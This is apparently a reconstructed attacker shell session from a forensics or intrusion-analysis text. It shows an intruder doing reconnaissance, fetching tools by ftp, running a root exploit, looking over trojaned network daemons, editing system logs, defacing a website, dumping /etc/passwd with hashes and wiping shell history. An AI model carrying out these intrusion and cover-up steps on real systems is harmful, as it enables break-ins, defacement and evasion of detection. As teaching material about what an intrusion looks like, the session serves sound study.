

## Scenario #1

```
bash$ w
[construct output...]
bash$ finger
[construct output...]
bash$ last | head -15
[construct output...]
Broken pipe
bash$ ls -aCS
total 15
 1 ./                2 .bashrc          1 lib
 1 ../              1 Mail             2 src
 3 .bash_history    2 bin
 1 .bash_profile   1 dead.letter
bash$ mkdir ..login
bash$ cd ..login
bash$ ftp breakin-stash
[...]
bash$ ./break-root
# ./clean-uw-tmp
# more /etc/inetd.conf
[...]
# strings /usr/etc/in.telnetd | grep / | more
/usr/local/...
/etc/hosts.allow
/etc/hosts.deny
01234567890./
bad net/mask expression: %s/%s
@(#) shell_cmd.c 1.5 94/12/28 17:42:44
[...]
# ls -lasl /usr/local/...
total 786
 1 drwx--S--- 2 root          512 Jan 11 1997 ./
 1 drwxr-sr-x 19 root          512 Nov 27 20:34 ../
24 -rwxr-xr-x 1 root        24576 Nov 15 1996 in.fingerd*
88 -rwxr-xr-x 1 root        90112 Apr 30 1997 in.ftpd*
32 -rwxr-xr-x 1 root        32768 Jan 12 1997 in.rlogind*
32 -rwxr-xr-x 1 root        32768 Mar 15 1997 in.rshd*
24 -rwxr-xr-x 1 root        24576 Apr 1 1997 in.telnetd*
584 -rwsr-xr-x 1 root       589824 Jan 21 1997 sendmail_wrapped*
# vi /var/log/syslog
[...]
# vi /var/adm/messages
[...]
# ls
# ps auxww|grep http
nobody   6770  0.0  0.0  160    0 ?  IW   18:06   0:00 /usr/local/WWW/httpd -f /usr/local/WWW/conf
zen      20781 0.0  0.6   32  184 p5  S    02:07   0:00 grep http
root     127   0.0  0.6  132  192 ?  S    Feb 23  0:09 /usr/local/WWW/httpd -f /usr/local/WWW/conf
nobody  18580 0.0  0.0  160    0 ?  IW   00:17   0:00 /usr/local/WWW/httpd -f /usr/local/WWW/conf
[...]
# less /usr/local/WWW/conf/httpd.conf
[...]

ServerAdmin zen@trouble.org
DocumentRoot /usr/local/WWW/siddhartha-docs
ServerName www.siddhartha.com
ErrorLog logs/siddhartha-error_log
TransferLog logs/siddhartha-access_log

[...]
# cd /usr/local/WWW/siddhartha-docs/
# ls -asl
total 5
 1 drwxr-sr-x 2 root          512 Jan 26 16:46 .
 1 drwxr-sr-x 10 nobody       512 Feb 23 17:19 ..
 1 -rw-r--r-- 1 zen           230 Feb 16 19:56 index.html
 1 -rw-r--r-- 1 zen           230 Feb 16 19:56 peace.html
 1 -rw-r--r-- 1 zen           230 Feb 16 19:56 love.html
# rm *
# mv ~/myfile.html index.html
# cat /etc/passwd
root:xDKx6ca_0hs52:0:1:our lord and master:/:/bin/csh
daemon:*:1:1:/:/dev/null
bin:*:3:3:/:/bin/bash
```

```
ftp:*:7:20::/old-home/ftp:/dev/null
pop:*:8:13:::/dev/null
zen:wwWB5_GrwhANw:13:0:d:/home/zen:/bin/bash
nobody:*:32000:32000:::/dev/null
# vi /etc/motd
# exit
bash$ cd ..
bash$ rm -rf ..login
bash$ rm .bash_history
bash$ exit
```